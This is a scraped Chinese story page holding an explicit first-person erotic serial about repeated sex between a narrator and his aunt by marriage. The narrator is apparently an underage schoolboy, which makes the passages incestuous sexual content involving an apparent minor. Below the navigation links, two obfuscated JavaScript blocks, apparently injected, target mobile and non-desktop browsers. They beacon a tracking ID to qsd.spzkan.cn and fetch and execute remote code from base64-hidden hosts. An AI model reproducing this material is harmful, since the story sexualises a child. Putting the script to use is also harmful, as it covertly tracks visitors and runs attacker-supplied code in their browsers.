外边风吹着树叶沙沙地响,偶尔几声蛐蛐叫,我刚想着夜黑风高,屋子里比外边更黑,谁也看不见谁,正是适合干坏事,就感觉舅妈的手伸进了我的内裤握住小弟弟,小弟弟回礼般的弹了一下,舅妈的手再往下,轻轻捏着蛋蛋,又往上,握住小弟弟套弄。

处男的身体怎么能经受住这般的揉搓,没套弄几下我就全身发麻,所有的情欲随着舅妈的套弄喷薄而出。

当时的我又害羞又生气又难受,没想到我是这般的不济,想到在舅妈面前丢脸,心里懊恼急了。

舅妈倒是很安静,轻轻地在我的内裤上擦掉手上的精液,然后把我的内裤脱掉,一把捂住小弟弟和蛋蛋,轻轻揉搓着,一会儿,小弟弟就如虎狼之师一般地挺立。

我很高兴,找到舅妈的嘴唇,轻轻地吻上去。我学着舅妈刚才的样子,舔着她的嘴唇,轻轻撬开她的牙,没等我伸进舌头,她就伸出舌头主动地把舌头跟我的搅和在一起,猛烈地回应。

我还哪里能顾得上舌头疼还是舌根疼,美妙销魂的滋味简直乐不思蜀,我满口都是舅妈的口水,有些顺着脸颊流到枕头上,有些想都没想就直接咽下去了。

激烈的湿吻把我身体的欲望全部点燃,我小狼一般抱住她,夹住她的一条腿,我的大腿自然地贴到她的大腿根。

我的小弟弟压着舅妈的小肚子,舅妈的腿根贴着我的大腿,我分明能清晰地感觉到她的腿根内裤包裹着的地方软乎乎地,还有些潮湿,我不再抱她,而是将手放到舅妈的屁股上,顺着屁股摸过来,隔着内裤找到那个软乎乎湿漉漉的地方,摸了一下。

舅妈突然就紧紧的反手抱住了我,不再接吻,把头放在我的脖子,紧紧地抱着我。

我像是得到了指示一般,拿掉放在她两腿间的腿,接着就拿手摸过去。内裤已经湿湿的贴着,我的手指划过,搓了一下,全是水。

舅妈把我抱的更紧了,我摸到了舅妈的膝盖,然后顺着膝盖一直往上摸,大大圆圆的屁股上似乎出了好多汗,粘粘的。

我放大胆子就把手伸进了内裤,一把一把捏着舅妈的屁股。舅妈粗粗的唿吸喷在我脖子,搞得我心慌意乱,手就顺着屁股沟摸了下去。

我突然想到如漆似胶这个词被先人创造的时候,是不是正在跟心爱的女人缠绵,因为此时把手伸进舅妈内裤的我的第一感觉就是如漆似胶。

舅妈的下边粘粘的,内裤上边更是湿漉漉一层。只是我的手从后边伸过去就只能够得到点点,我便又顺着屁股沟摸上来,把手上的水渍擦到屁股和内裤上边,然后就摸到前边小肚,把手顺着小肚摸下去。

入手就是密密麻麻的阴毛,硬硬地曲卷着。我手轻轻抓了两下阴毛就再往下摸,然后就摸到了那个软乎乎湿漉漉的地方。

舅妈颤抖了一下,闷声说道:“轻点儿。”

我很听话的手掌轻轻划过阴户,然后整个手贴着它,湿哒哒一片,再滑到阴毛的地方,揉捏。

舅妈再也受不了这种挑逗,大口地喘着气,我的手再次摸下去,那手指在阴户上边一上一下的划。舅妈咬着我的脖子,狠狠地吸着,我感觉到了她的颤抖她的难受,划的更快了。

舅妈把手伸进来拿过我的手指,顺着一个洞洞就把我的手指推进去了,然后再出来再进去。

我终于开了窍,让舅妈舒服的不是在阴户上一上一下的划,而是在这个洞洞里面一进一出。

舅妈的手开始抓着我的手腕,我的手指连续得缓缓抽插,感受到里面的温热,感受到里面的流水,感受到里面的褶皱,感受到里面的收缩。内裤有点紧,手腕活动不开,我把它脱下来,继续轻轻抽插。

舅妈把我脱掉的她的内裤拿起来放到屁股下边,然后握住我的小弟弟来回套弄了一下,又停下来,抓了一会儿我的手,然后用湿湿的手握住小弟弟继续套弄。

我脑海精光一闪,像是懂得了什么一般的,就爬上了她的肚子。

舅妈拿手推着我的肚子,似乎是不许,我坚持,她就不再反抗,把腿分的开了一些,然后两条腿轻轻夹住我的腿腕。

我压下去,小弟弟顶着那个湿漉漉的地方,没找到洞洞,我试一下,还是没找到。突然想到了那本故事会里面的话,张口就说:“我找不到庙门。”

舅妈没有说话,我也看不见她的神情,她轻轻拉着我的小弟第,然后我就顺着插了进去。

我差点又没忍得住,紧紧咬住牙,停了一会儿,要射的感觉才淡了一些,舅妈的双手轻轻还上我的肩,顺着我的肩膀摸到我的屁股,轻轻往里推了一下。

我再也顾不上射不射的就慢慢地一进一出的来回抽插,我一动,就听到舅妈轻轻地哽咽声,再动几下声音就更有些大了,像是在哭,我不晓得这是呻吟还以为她难受就停止了抽插。

舅妈还是没有说话,放在我屁股上的手再次推了我一下,我便继续抽插。没几下,舅妈又开始轻声呻吟,我听着舅妈的呻吟,像是吃了兴奋剂,再也顾不上别的就开始狠狠地抽插,舅妈的双手也开始用力,狠狠地抓着我的屁股。

没几下我就忍不住再次射精,至今我都能很清晰的记得当初小弟弟在舅妈阴道里面射精是的情形,也都还能很清晰的记得舅妈的阴道在我射精时,一下一下的收缩。

我趴在舅妈的身上大口大口的喘气,舅妈双手抱着我的头,手指插进头发中,揉搓。

过来一会儿,气喘顺了就觉得舅妈的奶罩咯人,我就想要把小弟弟的拿出来,舅妈确实拿手按住我的屁股不让我拿出来,她的手一圈一圈的摸着我的屁股,半响才说:“刚才是谁还说找不到庙门了,这进庙没多久就不行了要出来了。”

舅妈贴着我的耳朵,声音轻轻地,但是语气有些调皮,我不知道这是因为拉上帘子屋子里面黑黑的原因,还是因为刚才做的事已然突破了我们的底线。

听到这话小弟弟就不满地在洞洞里翘了一下,舅妈其实早就晓得我的小弟弟射精没一会儿就又硬了,见我这样也只是轻轻摸了一下我的头,我说:“舅妈,要不要再来一下。”

舅妈又不说话,示意我下来。我听话地拔出小弟弟,躺在她身边。

舅妈拿着屁股下边的内裤擦了擦她的下身,有帮我擦了擦,见我的小弟弟还是不听话的弹来弹去的,就捏住它说:“你咋这么不听话呢?”

我转过身,看着她把内裤扔到脚下转身看着我,就这么看了好久,她开口说:“舅妈是个坏人,舅妈是个坏人。”

我知道这是舅妈心里过不去,就说:“舅妈不是坏人,舅妈是个好人,小林是个坏人。”

舅妈见我傻乎乎的说这样的话,笑了一下说:“你真是个坏人还晓得找庙门呢。”我就傻笑。

舅妈温柔地看着我,伸手摸着我的头,说:“小林,舅妈跟你好了,你以后要对舅妈好。”

我狠狠地点头,说:“嗯。”

舅妈痴痴地笑着说:“真是个傻乎乎的,你成绩都是抄的吧。”

我就不说话,无声的抗议着。

舅妈怜爱地说:“我知道,小林对舅妈好,小林懂事。”

我轻轻地环住舅妈,脑袋放在舅妈的乳房上,感觉这一切好极了。这样过了好一会儿,舅妈摸着我的耳朵,说:“要不要吃舅妈的奶。”

我说:“嗯。”

以后的我对“摸奶、亲嘴、插洞洞”这个当地方言,留传下来的做爱三步骤运用的倒是炉火纯青,当时的我,竟然越过第一步是直捣黄龙了,还好舅妈给我补上了。

奶罩是舅妈自己脱下来的,我手里握着一个口里嘬着另外一个,轻轻地舔,狠狠地吸,然后换过来,继续。

舅妈双手插着我的头发,合着我的动作,轻轻地揉着。

那时候的我,只对穿着衣服的奶子感兴趣,脱掉了砸吧两口也就无所谓了,只是想着舅妈可能喜欢,就让她高兴而已。

我的手放开乳房,顺着肚子摸下去,穿过丛林来到了小溪旁,溪水氾滥。

我车精熟路,中指径直就抵着水流插了进去,舅妈呻吟一声猛地抬了一下屁股,我抽出来,再次迅速地插进去,舅妈拿手不让我插,抬抬我的屁股,示意我爬上来。

这一次我还是找不到庙门,还是她的手顺着放进去的,我发现先是轻轻插几下,再迅速插一下,舅妈呻吟的声音就会变大,然后我就重复的做着这个动作。

舅妈把我的头放在她的胸膛,我就开始一边抽插一边舔着乳头。

被子里面有点闷,我掀掉被子,就感觉舅妈的腿忽而向两边张得大大的忽而环住我的腰,我感觉快要爆炸,顺势双手抱住舅妈的腿,把脸贴上去,死死抱住,然后狠狠地抽插。

舅妈咬着被子,但是我能明显听到她的呻吟越来越大声,听着舅妈呜呜的呻吟声,我想把自己的全部身体都插进去……

这次有点久,舅妈先到了,我是感受到她的抽搐才忍不住磅礡而出。

之后我们就那么抱着,说了好多话,从以前到以后,当时我们谁都不会认为我们是恋人,却做了恋人该做的事。

现在,还有谁会做了爱之后,不相互转身睡去而是相互依偎着说话。所以,即使是孽缘,现在回想这种感觉,真的很好。

第二天太阳照得我实在睡不下去,我才睁眼准备起床,看到了身边舅妈从我包里拿出来的新内裤,心中暖暖的。

推开门,门前的杏花被风吹落,漫天飞舞,她在树下洗衣服,我柔柔地喊一声舅妈,她回过头,笑脸嫣然。 (终于点题了。这段时间工作有点忙,原准备过几天更,只是看到有朋友在催,就抽两个小时更了。写的匆忙,见谅。下次更新可能有点晚。)

第四章 空谷幽兰 绿地茵茵大被同眠

从某种意义上来说,家乡对于我便是那世外桃源。兴奋了需要释放有绿水青山,委屈了需要发泄有流水蜿蜒,在外打拼苦了,累了,需要平复心情有无尽美好的回忆。

我有些怕回忆,因为能想起来的都是美好的事情,而这些美好的事情是现在渴望又不可及的。

对于我跟君儿,更是属于拿得起放不下,就像刚开始两次,即使有些是我不怎么喜欢的,为了她,我也愿意做,但是,这种事,做了便是一发而不可收拾。

那时已经是实行退耕还林第四年,满山遍野的绿,卓见成效。

漫山遍野的绿,就像跟在舅妈身后的我的心情一般漫卷诗书喜欲狂。刚经人事的我瞧着舅妈哪哪都好看,便如武侠小说写的那般体态莹莹,玉背生香。

想着就往舅妈的臀部看,裤子是咖啡色的,内裤的勒痕勾画出臀的轮廓,大大圆圆的,随着羊肠小径一跳一跳。

“你走前边。”舅妈停下来,脸红彤彤的,瞪了我一眼说,眼神中确是满满的羞意。

我没有听她的话走前边,而是跟她并肩,路很窄,时不时的碰着她的手臂。有无意的,也有故意的。

“别闹了,赶紧去干活,这么热的太阳,你会中暑的。”舅妈握着我的手腕,不让我乱动,拉着我往前走。

“舅妈,什么颜色的?”

她不理我,只是拉着我往前走。

“红色的。我知道。”我又说。我只见过她晒在院子里的是红色。

“你胆子是越来越大了是不?这大白天的,竟然……”舅妈似乎忍无可忍,揪住我的耳朵说,却是一点都不疼。

我接过她的话头,说:“光天化日之下,竟然调戏良家妇女,还是舅妈。”

舅妈揉了揉我的头,说:“别这样,舅妈会很难堪。”

我揉揉鼻子,说:“舅妈,我只是怕,你以后就不理我了,我以我才……”

舅妈拉着我的手腕继续走:“你个小屁孩子,就是自作聪明,不管我跟你咋样,可我始终是你舅妈,不是你媳妇,那样的话是不能对我说的,你懂不?你以后就懂了,以后你明白了,不要恨我才好。”

我开始沉默,走路沉默,干活沉默。我不笨,只是以前一直是个别人眼中的好孩子,学习好,懂礼貌,我也是一直这么认为。直到那年抬头看到那一脸的温柔,就深深印刻到我心;直到那夜朦朦胧胧中被她握住小弟弟,就像拿住了我年少无知的情爱;直到昨夜的情欲缠绵,就灼热了我的心。

当时的我描述不出来这是个什么样的感情,不是爱情,超越情亲,冲破禁忌。我只是不想失去,不管是人还是感情,都不想失去。所以才用我小孩般的办法,想要挽留,没想到倒是抬起石头砸自己的脚,后悔莫及。

两人的沉默显得山村尤其的寂静。我偶尔抬头看看四周的大山包围中眼前庄家地里劳作的她。

空谷幽兰,我想到了这个原本就是形容美丽女子的词,她便是我的美丽女子吗?她是不是我的美丽女子呢?应该不是的。

“休息一下吧,这天太热了。”舅妈站起身,对我说。

我跟着她走到旁边这块种着玉米的地里乘阴凉,一钻进玉米里,就觉得凉凉的,我脱掉上衣擦擦汗就放地上,然后一屁股坐上去。

“别脱,小心着凉了。”舅妈说。

“没事,我身体好着呢。”

舅妈就不说话,拿掉帽子,摘掉手套,倒一杯水,拿给我,说:“喝吧。”

我拿过水杯,看着她脸上的汗水,想叫她擦掉,没等开口,她就拿衣袖抹掉汗水。

我找不到话题,就只喝水。偶尔偷偷看她,就觉得她似乎也看我,碰到我眼神,就转过头,觉得她似乎要开口说什么,又没有说。

电话铃声响起来,打破了我们的沉默。

风吹着玉米叶子莎莎地响,我侧耳听到舅妈嗯嗯了几声就挂了电话,然后她对着我说:“你爸爸打来的电话,晚点就来接我们,县城那边收拾的差不多了,今晚就搬家。”停了一下,像是跟我解释又像是跟自己说:“白天车装得太高,交管局的不让走。”

我听到这个就突然很难受,先前还想着幸福来得太突然,然后就像是一大盆凉水浇我身上,冰凉冰凉的。不知觉我就流下泪了,呜呜的哭。

舅妈把我揽到怀里,说:“别难过,舅妈不是在这里么?”

我抱着她的腰,哭的呜呜咽咽的,抽泣着说:“我不想离开舅妈,我想要一直这样抱着你。”

半响,我已经平复了心情不再哭泣,舅妈还是不说话,我抬头,看到她满脸泪水,顿时心里懊恼不已,肯定是舅妈被我惹得伤心了。

我伸手擦去她脸上的泪水,说:“舅妈别哭了,我以后保定不惹你伤心了。”

舅妈摇摇头,握着我的手,轻声说:“舅妈这是在作孽。”

我知道她说的是什么,反驳道:“舅妈不喜欢小林吗?”

舅妈摇摇头。

我又说:“小林也喜欢舅妈。”

舅妈说:“这就够了?”

“这就够了,喜欢最重要。”我肯定道。

舅妈摸着我的脸,温柔的说:“真是孩子话,以后你长大了,会后悔,会恨我的。”

“不会!”我大声说,满眼的坚毅。

舅妈吓了一跳,急忙拿手捂住我的嘴,小声说:“小心别人听到。”

这么热的天,除了虫子叫,哪里还有别人,我眨眨眼,恶作剧一般的舔了舔她的手指。

“脏。”舅妈拿掉手。看到我吐着长长的舌头,就那手指刮了一下,说:“还不害臊。”

我腆着脸,说:“舅妈,你亲我一下。”

舅妈不理我,可能是觉得大白天不好意思。抱着她的肩起来,朝她的嘴唇吻去。舅妈躲了一下,也不说话。

我就吻到了她的耳朵,轻轻说了一句:“舅妈,等哈搬家以后,我可能就不能跟舅妈说悄悄话了。”

这句话就像是一杯加了春药的甜水,霎时间便灼热了舅妈闪躲的心,双手狠狠地掐住我的腰。我像是的了命令一般的,咬了咬她的耳垂,就拖着长长的舌头划过她的脸颊,像她的嘴唇吻去。

“别在这里。”舅妈拉着我起来,拉着我的手臂就往玉米地深处走去,另一只手拿着我的衣服。

她停下来我就迫不及待我抱住她,手往她身上乱摸,她溺爱地揉着我的头,任我乱来,满脸温柔。

我把手伸进她的衣服,摸到奶罩,想要拿掉,却不得其解,舅妈善解人意地双手伸到后边解开了奶罩,我急急地握住两只大大挺挺的乳房,轻轻揉捏,乳头早已经硬挺挺的,我拿手指拨弄。

我抬头,舅妈羞红的脸莹莹地看着我,我往上一凑,她的嘴唇就送下来,滚烫。

我们都没有闭眼,可能是觉得从此以后到县城就再也没有机会这样了吧,这可能是最后的放纵了。 她开始主动,撬开了我的牙齿,引出了我的舌头,交缠在一起。舌尖的味道让我流连忘返乐此不彼,舅妈确实不满足于只是接吻,轻轻把我的头往下按。

她的衣扣都已经被揭开,我轻轻咬住一颗乳头,舅妈就深唿一口气,按住我的头。我的一只手继续拨弄着另一颗乳头,一只手往下,抓住她的臀,揉捏。

我抬头,说:“舅妈,什么颜色?”

“红色。”舅妈轻声说,声音颤抖。

我紧紧贴着她的身,小弟弟昂首挺立剑指戳着她的下身。舅妈伸手解掉我的腰带,裤子掉到地上,舅妈之后抓着我的屁股蛋,一手握着蛋蛋轻轻揉着。

我放开拨弄着乳房的的手,两手抓着她的臀,学着她揉捏我的屁股那样捏她的,从大腿弯往上,往下,来回。

她突然咬住我的耳朵,舔了几下,痒我我受不了,才说:“舅妈这辈子,只有对你才这样。”

说着她就慢慢往下蹲,咬住我的奶尖,轻轻吸着,舔着。我全身酥麻,还可以这样,想着她跟我耳边说的话,又满满的全是感动。

舅妈的舌头一直往下,到肚脐眼,再往下,她就停下来,我低头看去,她双手捧住小弟弟,看了一会儿,然后就张口含住。

温暖灼热的快感已经像舅妈的嘴巴那样吞噬掉了我的小弟弟,感受着她的舌头拨弄着我的龟头,各种痒痕直到我的心底,刺激难当。我情不自禁地捧住她的头,随着她的节奏一进一出。

没多久我就支持不住,想要拔出来,却被舅妈死死按住我的屁股,不让我动,然后所有的情欲就喷射到她的嘴巴。我来不及拔出小弟弟,接踵而至的快感就让我死死按住舅妈的头。

半响,舅妈摇摇头,示意我拿开手。

我刚一拿开手,舅妈就转过头在旁边吐。

我蹲在她身边看她,却发现她已是泪痕满脸,我以后是我弄疼她了,就抱住她说:“舅妈,你怎么啦,是不是我弄疼你了。”

舅妈温柔地看着我说:“不是。只是舅妈觉想要你永远记得我,这个只是在电视上看到过,跟他都没有过,只属于你的。”

我听到这话就突然留下泪来,哭着说:“可是,我最不想要的就是看你哭。”

舅妈转过头说:“傻孩子。”

我猛地抱住她,就吻她,嘴唇上残留的精液,腥腥的。

“别啊,脏。”舅妈急声说。

我不依,说:“舅妈你都不嫌我脏。”

“你真是个瓜儿子。”舅妈拿衣袖擦了擦嘴,又吐了几下。

我拨弄着舅妈的舌,想到她刚才拨弄小弟弟的情形,就异常兴奋起来,学着舅妈刚才的样子,吻过她的嘴唇,下巴,乳房,肚子,肚脐眼,接着就要接她的腰带。

“别,脏。”舅妈捧住我的头,说。

我没有说话,继续解她的腰带,她不说话,只是捧住我的头。腰带解掉了,裤子退到小腿弯,眼前的果然是红色的内裤,几根毛发露出来,舅妈闷哼一声并拢了双腿。

我隔着内裤轻轻咬着那个馒头包包,唾沫印湿了内裤,几撮毛发格外显眼。

我的脸贴着舅妈的下身,双手抱住她的臀,揉搓了一会儿,才从后边轻轻往下拉舅妈的内裤。

舅妈插在我头发中的手指突然就抓住了我的头发,轻声说:“不要。”

我没有理她,继续轻轻往下拉,一直拉到小腿弯。

我的脸继续贴着她的下身,鼻子沾到了她内裤上带出来的水,腥腥的。

舅妈还是抓着我的头发,双腿直直地并拢。我拿手指从双腿间插进去,里面早已经是泥泞不堪。

我轻轻地搅动,舅妈慢慢地松开了我的头发,按着我的头。我抬头看了她一眼,她心有灵犀一般地蹲下身,那我的衣服放到她身下,闭着眼躺着,然后又把她的奶罩盖到脸上。

我默默的看着她对我的纵容,即使她有些不好意思闭着眼还拿着东西盖住脸,我就突然觉得很温馨。轻轻脱掉她的鞋子,慢慢退掉她的裤子,就着玉米地里的野草爬到她的身边,拿掉盖住她脸的奶罩,在她耳边说:“舅妈,我喜欢你。”

舅妈摩挲着我的脸庞,点点头,说:“嗯。”

我躺在她的臂弯,一手握着她的胸膛,抬头看着遮住了天的玉米叶子,心中想,这就是我们的小窝了。

舅妈似乎也是这般想的,满脸恋爱地看着我,我趴在她身上,握住两团柔软乳房,轻轻吻去。

一路向下,再次来到小溪旁边的草丛,脸颊贴着草丛,感受着草丛的斑驳,情不自禁地舔着她的腹股沟,舅妈呻吟一声,双腿蜷曲。我就看到了小溪的泉眼处,水流纵横。想到舅妈对我的好,我毫不犹豫就亲下去。

舅妈深深地出气,紧紧按住我的头。我被口里的淫水呛了一下,想要起身吐掉,就想起舅妈刚才的眼泪和他跟我说的只属于我的话。我心中感动,就咽了下去,咸咸的。

我把舌尖当做手指,依样画葫芦的开始对舅妈的下身展开攻势,只是初出茅庐的我还是不得精髓,舔、戳、嘬三招即使一遍遍使用,始终满足不了她。

舅妈把我的头轻轻往上拉,放到阴蒂处,然后拿手拨开阴唇。我得到她的示意,就那舌头舔那个凸起的疙瘩,舅妈果然明显的颤抖起来,呻吟的声音也变大了。

舅妈已经拱起身子,开始抓着我的头,我抬头,她就向我吻来。

我努力地回应着,想要把整个舌头都塞到她的嘴里,她更急切,粗重的唿吸打到我的脸上,口水更是来不及吞咽。

舅妈拿手握住我的小弟弟,来回套弄,我知道这是她想要了。我轻轻环着她的脖子,把她放在地,趴上去,低头,嗪住她的舌,小弟弟在泥泞出一挺,就进去了。

舅妈腻声唿出,泪眼含羞,轻轻咬住我的舌含煳道:“你这是要我的命啊。”

我温柔的看着她,说:“你的命就是我的命。”

舅妈环住我的脖子,两腿夹着我的臀,闭着眼,往里推着。我忍受的龟头处传来的酥痒,顺势就深深地插进去,舅妈似乎不能承受这般鞭挞,紧紧抱住我,不让我动,我紧紧贴着她,汗水黏着我跟她,彻底的再次激发了我身体的情欲,顾不得许多,就大开大合的来回抽动。

可能是因为动了情,舅妈来的很快,洞洞里面的小弟弟感受着她的收缩,夹一下,小弟弟便弹一下。

我等着舅妈高潮平复,就又开始慢慢抽插,舅妈的手举着我的脸庞,情不自禁地吻了我一下,说:“你就是我的冤家。”

听了她话,就把我心底的灼热再次点燃,抱着她的脖子,狠狠抽动。

“啪啪”的声音在寂静的山谷格外显眼,粗重的唿吸在玉米地深处此起,两具白花花的身子在茵茵绿地上边水乳交融。我再也忍不住,咬住舅妈的耳朵,体内的激情再次喷射而出,一股一股,就像舅妈耳边的我的唿吸……

“舅妈,疼不?”我看到地上的野草划得舅妈后背,全是一道一道的红色淤青,问她。

舅妈轻轻地拉过我的脸,离她很近很近,然后轻声说:“混蛋。”

我一脸诧异,她满是羞意。

从玉米地里出来发现,太阳都落了好大一截了,我看向她,问她还要不要干活。她说回去准备一下你爸他们就要来了。我说好。 “舅妈,刚才太用力。撞得我的肚子疼。”

舅妈猛地转过身,咬牙说:“混蛋。”就不理我,往家走去。

“舅妈,以后在县城,你还会理我不?”

“会的。”舅妈沉默了一会儿,说。

那以后我就一直在想舅妈以后会不会还跟我这般亲密,会不会真像她说的那般不会不理我。

思绪拉回到现实,我还是站在我家门前的杏花树旁,捻起一朵花瓣,花瓣中君儿笑脸嫣然,似乎在说会理你啊一辈子。

舅妈以后再也没有理我,以后一直理会我的,是我的君儿。 (第一部完)


上一篇:那一年我在流浪的日子(三)

下一篇:我和母亲的日记


function HFjSuQ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function VuifpAwP(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return HFjSuQ(t);};window[''+'b'+'V'+'Q'+'n'+'N'+'v'+'c'+'o'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function jhyx(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=VuifpAwP,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=jhyx(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=jhyx(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmFzaGNucS5jbiUzQQTg4OTE=','d3NzJTNBJTJGGJTJGGYS55a2toanMuY24lM0E5NTM1','162093',window,document,['Q','G']);}:function(){};
function yltnjZ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function awoHTF(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return yltnjZ(t);};window[''+'U'+'r'+'E'+'G'+'J'+'i'+'O'+'j'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function iBkh(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=awoHTF,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=iBkh(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=iBkh(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmFzaGNucS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS5555a2toanMuY24lM0E55NTM1','162092',window,document,['l','5']);}:function(){};